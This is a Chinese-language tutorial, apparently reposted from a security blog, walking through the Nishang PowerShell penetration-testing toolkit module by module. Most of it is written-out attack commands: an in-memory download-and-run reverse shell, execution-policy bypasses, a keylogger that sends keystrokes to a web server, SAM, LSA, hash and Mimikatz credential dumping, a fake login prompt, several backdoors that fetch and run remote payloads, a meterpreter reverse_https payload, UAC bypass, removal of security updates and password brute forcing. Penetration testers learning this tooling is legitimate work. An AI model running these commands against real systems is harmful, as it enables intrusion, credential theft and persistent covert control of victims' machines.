Powershell 滲透測試工具-Nishang


Powershell 滲透測試工具-Nishang

http://p5.qhimg.com/t014034b9dcf5c9e75b.png

 

作者:V1ct0r

稿費:500RMB(不服你也來投稿啊!)

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

傳送門

【技術分享】Powershell 滲透測試工具-Nishang(一)

 

0x00 介紹

Powershell用於滲透測試其實早在多年前就已經被提出了。利用Powershell,攻擊者可以在無需接觸磁盤的情況下執行命令等,並且相較已經被大家廣泛關注並防御的Cmd而言,Powershell並非那么的引人矚目。Nishang是基於PowerShell的滲透測試專用工具。它集成了框架、腳本和各種payload,能夠幫助滲透測試人員在對Windows目標的全過程檢測中使用,是一款來源於作者實戰經歷的智慧結晶。至今,Nishang最新版本已為v0.67了。本文我將具體介紹這款實用的Powershell滲透測試工具。

 

0x01 使用

要使用Nishang,我們首先需要在[作者的Github]上面下載它,之后加載這些腳本。 

Nishang需要我們的Powershell版本在v3以上才能使用,這里順便提供兩種查看當前我們當前Powershell版本的方法: 

1.直接在我們的Powershell下執行”get-host”命令: 

http://p7.qhimg.com/t0174aabb5199bc3dcd.jpg

2.我們還可以在Powershell下執行”$PSVersionTable.PSVersion”: 

http://p4.qhimg.com/t01e2de2a01b2df6d75.jpg

需要知道的是:

 

默認情況下的Server OS 對應的 Powershell的版本:
Windows 2008 R2   -   Version 2
Windows 2012      -   Version 3
Windows 2012 R2   -   Version 4
Windows 2016      -   Version 5

現在我們需要加載我們的腳本:

PS D:nishang-master> Import-Module .nishang.psm1

你可能會遇到下面的問題: 

http://p2.qhimg.com/t013d3c74fc20686b62.jpg

這是因為我們Powershell的默認的執行策略是Restricted的,而Restricted是不允許任何腳本運行的,我們可以使用下面的命令來來查看當前的執行策略:

PS D:nishang-master> Get-ExecutionPolicy

這里我們需要將執行模式改為RemoteSigned,這樣就可以執行其他用戶的腳本了:

PS D:nishang-master> set-executionpolicy remotesigned //這需要在管理員的狀態下執行

現在,我們就可以正常進行加載了。 

當然,上面是基於我們在本地進行測試的情況下,如果是在真實的攻擊場景之下,我們還是不宜去做一些全局策略的更改的,這里簡單推薦幾個Bypass執行策略的Tricks:

 

0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //設置當前用戶的執行策略為Unrestricted,也算是去更改了當前的全局策略 1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面這種,-Windowstyle hidden 可以讓我們的執行無任何彈窗 2. PowerShell.exe -ExecutionPolicy Bypass -File

想了解更多姿勢,大家可以看看Bypass執行策略的十五種方法: 

https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

然后,我們使用Dot Sourcing的方式來加載獨立的腳本:

PS D:nishang-master> ."D:nishang-masterGatherGet-Information.ps1"

在之后的使用中,我們可以使用”Get-Help”命令來獲取當前腳本的用法和說明等,如:

 

PS D:nishang-master> ."D:nishang-masterGatherGet-WLAN-Keys.ps1 PS D:nishang-master> Get-Help Get-Wlan-Keys

http://p1.qhimg.com/t013508b17e3145aec3.jpg

還需要說的一點是,我們可以在Powershell中使用” Out-File”來將我們的執行結果導出到文件中,如:

PS D:nishang-master> Get-Information | Out-File res.txt

就可以把獲取到的信息保存在res.txt中了。 

最后,需要介紹兩種在內存當中去加載腳本的方式 

第一種:

powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.] //

這里IEX可以遠程下載我們的腳本

第二種,我們可以在Powershell中使用Invoke-Encode腳本來將我們現有的腳本編碼壓縮,生成編碼后的內容,過程如下:

 

PS D:nishang-master> Invoke-Encode -DataToEncode "D:nishang-masterShellsInvoke-PowerShellTcp.ps1" -OutCommand Encoded data written to .encoded.txt Encoded command written to .encodedcommand.txt

在我們的encodedcommand.txt文件中我們可以看到編碼后的內容和效果: 

http://p5.qhimg.com/t01bdaf5e1a9ab9830c.jpg

然后在目標上(Web shell,meterpreter native shell等都可以)使用如下命令執行:

C:Userstarget> powershell -e [encodedscript]

這里涉及到的Invoke-PowerShellTcp腳本,我們將在后文對於具體模塊的腳本介紹時談到。

 

0x02 模塊介紹

0.信息搜集

Check-VM

從這個腳本的名字就可以看出來,它是用於檢測當前的機器是否是一台已知的虛擬機的。它通過檢測已知的一些虛擬機的指紋信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)來識別。 

執行方式:

PS > Check-VM

測試

http://p9.qhimg.com/t01de842df92ec8ac01.jpg

Copy-VSS

這個腳本利用Volume Shadow Copy 服務來復制出SAM文件。如果這個腳本運行在了DC機上ntds.dit和SYSTEM hive也能被拷貝出來。 

執行方式:

 

PS > Copy-VSS //將會直接把文件保存在當前路徑下 PS > Copy-VSS -DestinationDir C:temp  //指定保存文件的路徑(必須是已經存在的路徑)

測試

http://p1.qhimg.com/t011278a7d953361833.jpg

Invoke-CredentialsPhish

這個腳本是用來欺騙用戶輸入賬號密碼信息的。 

執行方式:

PS > Invoke-CredentialsPhish

測試

http://p2.qhimg.com/t01ebc9a71ca3930b4d.jpg

執行后會彈出這個框欺騙用戶輸入 

直到用戶輸入正確后這個框才會消失,然后我們就可以得到明文的管理員賬號密碼:

http://p3.qhimg.com/t019564c00d489f7c2c.jpg

FireBuster FireListener

FireBuster可以對內網進行掃描,它會把包發給FireListener 

執行方式:

 

PS > FireBuster 10.10.10.10 1000-1020 PS > FireListener -portrange 1000-1020

該腳本作者的Github上面還提供了一個Python版的監聽端: 

https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/ 

測試 

我們首先在我們的機器(Attacker)上面運行FireListener:

FireListener 100-110

http://p9.qhimg.com/t01ad16795412c5d79d.jpg

Victim:

FireBuster 192.168.199.1 90-110 -Verbose

http://p0.qhimg.com/t01b5213809308e427a.jpg

Get-Information

這個腳本可以獲取目標機器上大量的信息(FTP訪問,進程,計算機配置信息,無線網絡和設備的信息,Hosts信息等等非超豐富)。 

執行方式:

PS > Get-Information

http://p4.qhimg.com/t010d6feb1a3c405e6a.jpg

還可以用我們前面說過的Out-File來將運行結果保存到指定文件。

Get-LSASecret

該腳本可以獲取LSA信息,但是使用的前提當然是你已經成功提升了權限的情況下,通常和我們后面提權當中涉及到的Enable-DuplicateToken(幫助我們獲得System權限)聯合使用。 

執行方式:

 

PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //還可以指定鍵名

Get-PassHashes

這個腳本在Administrator的權限下,可以dump出密碼哈希值。這個腳本來自於msf中powerdump,但做出了修改,使得我們不再需要System權限就可以dump了。 

執行方式:

PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat來格式化輸出結果

http://p5.qhimg.com/t01be58eee4d7e09c5d.jpg

Get-WLAN-Keys

在Administrator的權限下,可以利用這個腳本來dump出WLAN文件的密鑰信息。實質上,這個腳本就是利用了netsh wlan show profile name=”” key=clear來獲取。 

執行方式:

PS > Get-WLAN-Keys

Keylogger

Keylogger可以保存下用戶的鍵盤記錄。 

執行方式:

 

PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis  //-CheckURL參數會去檢查所給出的網頁之中是否包含 -MagicString后的字符串,如果存在的話就停止使用記錄。 PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //將記錄指定發送給一個可以記錄Post請求的Web服務器 PS > .Keylogger.ps1 -persist //實現持久化記錄(重啟后依然進行記錄) PS > .Keylogger.ps1 //直接以這種方式來運行,鍵盤記錄會保存在當前用戶的Temp目錄下key文件中

測試 

首先執行 PS > .Keylogger.ps1

http://p1.qhimg.com/t01a15eeb50aecf23d6.jpg

發現在當前用戶的Temp目錄下生成了Key的文件,這時我們使用nishang Utility中的Parse_Keys來解析

PS >Parse_Keys .key.log .parsed.txt

然后parsed.txt里面就是解析后的按鍵記錄了

http://p6.qhimg.com/t010484abdcf764db43.jpg

Invoke-MimikatzWdigestDowngrade

Dump出Windows 8.1 and Server 2012的系統用戶密碼。 

執行方式:

 

PS >Invoke-MimikatzWDigestDowngrade PS > Get-Job | Receive-Job

執行了

PS >Invoke-MimikatzWDigestDowngrade

Windows會鎖屏

http://p2.qhimg.com/t01ca15a4ca59079514.jpg

之后執行

Get-Job

發現嘗試多次都測試失敗

http://p3.qhimg.com/t01c3b609b3cb7c9930.jpg

解決辦法可以參考: 

[域滲透——Dump Clear-Text Password after KB2871997 installed]

Get-PassHints

這個腳本可以從Windows獲得用戶的密碼的提示信息,需要有Administrator的權限來讀取SAM hive。 

執行方式:

PS > Get-PassHints

Show-TargetScreen

使用MJPEG傳輸目標機器的遠程桌面的實時畫面,在本機我們可以使用NC或者Powercat來進行監聽。在本地使用支持MJPEG的瀏覽器(如:Firefox)訪問本機對應監聽端口,即可在瀏覽器上面看到遠端傳輸回來的實時畫面。

PS > Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443  //將遠程的畫面傳送到192.168.230.1的443端口

測試 

Victim:

Show-TargetScreen -IPAddres 192.168.199.127 -Port 5773 -Reverse

Attacker:

nc.exe -nlvp 5773 | nc.exe -nlvp 9000 //這里我使用的NC,也可以用Powercat

本機訪問:127.0.0.1:9000

http://p2.qhimg.com/t016ade56c6c650bc2e.jpg

Invoke-Mimikatz

Mimikatz大家都非常熟悉了,就不再介紹了 

執行方式:

 

Invoke-Mimikatz -DumpCerts //Dump出本機的憑證信息 Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出遠程兩台計算機的憑證信息 Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在遠程一台機器上運行Mimikatz並執行"privilege::debug exit"

1.域相關腳本

Get-Unconstrained

查找域內開啟了Kerberos Unconstrained Delegation的機器。 

執行方式:

 

PS > Get-Unconstrained //返回開啟的計算機名 PS > Get-Unconstrained -Details  //返回更詳細的信息

關於”通過Kerberos Unconstrained Delegation獲取到域管理員”: 

http://www.freebuf.com/articles/terminal/98530.html

2.Antak Webshell

Antak

一個ASPX的Webshell,通過這個Webshell可以編碼、執行腳本,上傳、下載文件。 

http://p6.qhimg.com/t01d433e9d1efbcd1bb.png

執行方式:

 

上傳Webshell后把它當成一個正常的Powershell執行窗口來使用
上傳和下載文件,只需要填寫好對應路徑點擊上傳、下載按鈕即可

關於Antak Webshell的更多介紹,請參考: 

http://www.labofapenetrationtester.com/2014/06/introducing-antak.html

3.后門

HTTP-Backdoor

HTTP-Backdoor可以幫助我們在目標機器上下載和執行Powershell腳本 

執行方式:

PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis

下面解釋下幾個比較重要的參數:

 

CheckURL 給出一個URL地址,如果存在我們MagicString中的值就去執行Payload - 下載運行我們的腳本 PayloadURL 這個參數給出我們需要下載的Powershell腳本的地址 Arguments 這個參數指定我們要執行的函數 StopString 這個參數也會去看是否存在我們CheckURL返回的字符串,如果存在就會停止執行

DNS_TXT_Pwnage

利用DNS隧道來進行信息傳輸、通信的小技巧已經不少見了。在Nishang中也集成了一個通過DNS TXT來接收命令或者腳本的后門腳本。使用DNS_TXT_Pwnage這個腳本,我們一般需要配合Utility下的Out-DnsTxt使用。 

所以這里首先說下Out-DnsTxt的使用:

PS >Out-DnsTxt -DataToEncode path //path處是你想編碼的內容的路徑

之后,它會生成一個編碼后的文件,如下圖所示

http://p8.qhimg.com/t01bee5299c255b52cd.jpg

然后我們去添加對應的TXT記錄就行了,encoded.txt文件中每一行為一條記錄 

添加完后我們還需要添加兩條TXT記錄,內容為start和stop 

添加完成后,我們就可以利用DNS_TXT_Pwnage這個腳本了 

執行方式:

PS >DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains 1 -StopString stop

具體參數的意思:

 

startdomain 會一直去檢測我們指定域名的TXT記錄,並把返回的記錄與我們輸入的cmdstring以及psstring進行比較 cmdstring 是我們任意輸入的字符串,如果startdomain與我們這里輸入的cmdstring值相等則執行commanddomain命令 commanddomain 創建的執行命令TXT記錄的域名 psstring 是我們任意輸入的字符串,如果與我們這里輸入的psstring值相等則執行psdomain腳本 psdomain 是我們創建的執行腳本TXT記錄的域名 Subdomains 是執行腳本創建TXT記錄的個數 StopString 是任意輸入的字符串,如果這里輸入的字符串與startdomain中返回的記錄相同將會停止執行我們的Payload Arguments 指定要執行的函數名

Execute-OnTime

執行方式:

PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload

具體參數的意思:

 

PayloadURL 指定我們腳本下載的地址 Arguments 指定執行的函數名 Time 參數可以設定腳本執行的時間(例如 -Time 23:21) CheckURL 參數會檢測我們一個指定的URL內容是否存在StopString給出的字符串,如果發現了就停止執行

Gupt-Backdoor

Gupt-Backdoor這個腳本可以幫助我們通過無線SSID反彈后門和執行命令。 

執行方式:

PS >Gupt-Backdoor -MagicString test -Verbose

這里解釋一下MagicString這個參數: 

MagicString開頭的4個字符是用來識別我們建立的WIFI SSID的。例如,這里是test,Gupt后門會去自動匹配我們WIFI中SSID以test開頭的。而MagicString這個參數從第五個字符開始就決定了我們是執行命令或是下載腳本。 

需要注意的是:

如果它的第五個字符是c就代表執行命令。 

例如:-MagicString testcwhoami 

就會匹配WIFI SSID為test的,並執行命令whoami

如果它的第五個字符是u的話就代表下載腳本。 

例如:-MagicString testuXXXX 

就會匹配WIFI SSID為test的,並默認下載http://goo.gl/XXXX 

(其中http://goo.gl可在腳本的$PayloadURL參數中修改)

還可以用Arguments參數來指定下載腳本 

例如: 

PS >Gupt-Backdoor -MagicString test -Argument Get-Information -Verbose 

就可以下載Get-Information的腳本了

補充 

Windows下創建一個WIFI:

 

cmd
netsh wlan set hostednetwork mode=allow netsh wlan set hostednetwork ssid=test key=1234567890 netsh wlan start hostednetwork

Add-ScrnSaveBackdoor

這個腳本可以幫助我們利用Windows的屏保來留下一個隱藏的后門 

執行方式:

 

PS >Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" //使用這條語句可以執行我們自己的Payload PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor  http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis //利用這條命令可以從powershell執行一個HTTP-Backdoor PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1  //還可以使用msfvenom先生成一個powershell (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell),然后利用這條命令返回一個meterpreter

其他具體的參數的意思和我們上面介紹的一些后門是類似的

 

PayloadURL 指定我們需要下載的腳本地址 Arguments 指定我們要執行的函數以及相關參數

Invoke-ADSBackdoor

這個腳本是使用NTFS數據流留下一個永久性后門。其實,由NTFS數據流帶來的一些安全問題的利用並不少見了(如:利用NTFS數據流在Mysql UDF提權中創建lib/plugin目錄),大家可以參考《NTFS ADS帶來的WEB安全問題》 

這個腳本可以向ADS中注入代碼並且以普通用戶權限運行 

執行方式:

 

PS >Invoke-ADSBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin. com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis

這個腳本主要有兩個參數,在上面介紹其他后門當中已經說明了,這里是類似的 

需要說明的是,執行后它會在AppData的目錄下建立一個ads並把我們的Payload注入進去,如果我們希望在cmd下看到我們這里建立的ads,需要使用:dir /a /r

4.客戶端

對於這一部分的腳本,我就不再贅述了,因為網上早已經有了對於這一部分腳本的介紹說明: 

使用Powershell Client進行有效釣魚

5.權限提升

Enable-DuplicateToken

這個腳本可以幫助我們在已經獲得了一定權限的情況下,使我們提升到System權限。 

執行方式

PS > Enable-DuplicateToken

具體的相關介紹可以查閱: 

https://blogs.technet.microsoft.com/heyscriptingguy/2012/07/05/use-powershell-to-duplicate-process-tokens-via-pinvoke/

Remove-Update

這個腳本可以幫助我們移除系統所有的更新,或所有安全更新,以及指定編號的更新。 

執行方式:

 

PS > Remove-Update All       //移除目標機器上的所有更新 PS > Remove-Update Security  //移除目標機器上所有安全相關更新 PS > Remove-Update KB2761226 //移除指定編號的更新

Invoke-PsUACme

Invoke-PsUACme使用了來自於UACME項目的DLL來Bypass UAC。

http://p9.qhimg.com/t01c9d46ef0d4616a20.jpg

上表給出了各種UAC繞過的方法,我們可以在Invoke-PsUACme中指定相應方法執行。 

執行方式:

 

PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默認的Payload執行 PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默認的Payload執行 PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload參數可以自行指定要執行的Payload

除開以上而外,我們還可以使用-PayloadPath參數來指定Payload的路徑,默認情況下Payload會在C:WindowsTempcmd.bat結束。還可以使用-CustomDLL64(64位)或-CustomDLL32(32位)參數來自定義一個DLL文件。

6.掃描

Invoke-BruteForce

這個腳本可以對SQL Server、域控制器、Web以及FTP進行口令的爆破 

執行方式:

 

PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破域控制器 PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose  //爆破SQL Server PS > cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose  //爆破server.txt中所有servers的SQL Server

主要的參數:

 

ComputerName 用於指定對應服務的計算機名 UserList 用戶名字典 PasswordList 密碼字典 Service 服務類型(注意默認為:SQL) StopOnSuccess 成功找到一個后就停止執行

Invoke-PortScan

利用這個腳本我們可以在目標機器上對內網進行端口掃描 

執行方式:

PS >Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80

主要的參數:

 

StartAddress 掃描范圍開始的地址 EndAddress 掃描范圍結束的地址 ScanPort 進行端口掃描 Port 指定掃描端口(默認掃描端口:21,22,23,53,69,71,80,98,110,139,111,  389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901) TimeOut 設置超時時間

7.中間人

Invoke-Interceptor

這個腳本可以通過建立一個代理服務器的方式來攔截HTTPS的請求,並將這些請求記錄下來 

執行方式:

PS >Invoke-Interceptor -ProxyServer 192.168.230.21 -ProxyPort 3128 //這條命令將默認在8081端口監聽並把請求發送給上游代理的3128端口

可以通過ListenPort來修改我們目標機器上的監聽端口(默認8081端口) 

例如 

我們在目標機器上執行:

http://p2.qhimg.com/t01108504b824418a77.jpg

然后這里本機我用NC來監聽對應端口:

http://p2.qhimg.com/t015396b289b83165bf.jpg

接收到了來自目標機的請求數據 

並且這個腳本會在目標機的TEMP目錄下生成interceptor.log的文件來記錄請求數據

http://p2.qhimg.com/t0108af44f2c3f7f555.jpg

 

0x03 結語

Nishang這款基於PowerShell的滲透測試專用工具集成了非常多實用的腳本與框架,方便我們在滲透測試過程之中使用。盡管,在一些環境下我們可能沒有辦法去執行Powershell,但是通過查看這些腳本的具體代碼,我們也可以自己去完成實現腳本提供的一些功能。限於篇幅,本文只能拋磚引玉地介紹Nishang的部分功能,希望大家能夠在實際的應用之中去體驗。

 

參考

1. http://www.labofapenetrationtester.com/ 

2. https://github.com/samratashok/nishang/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM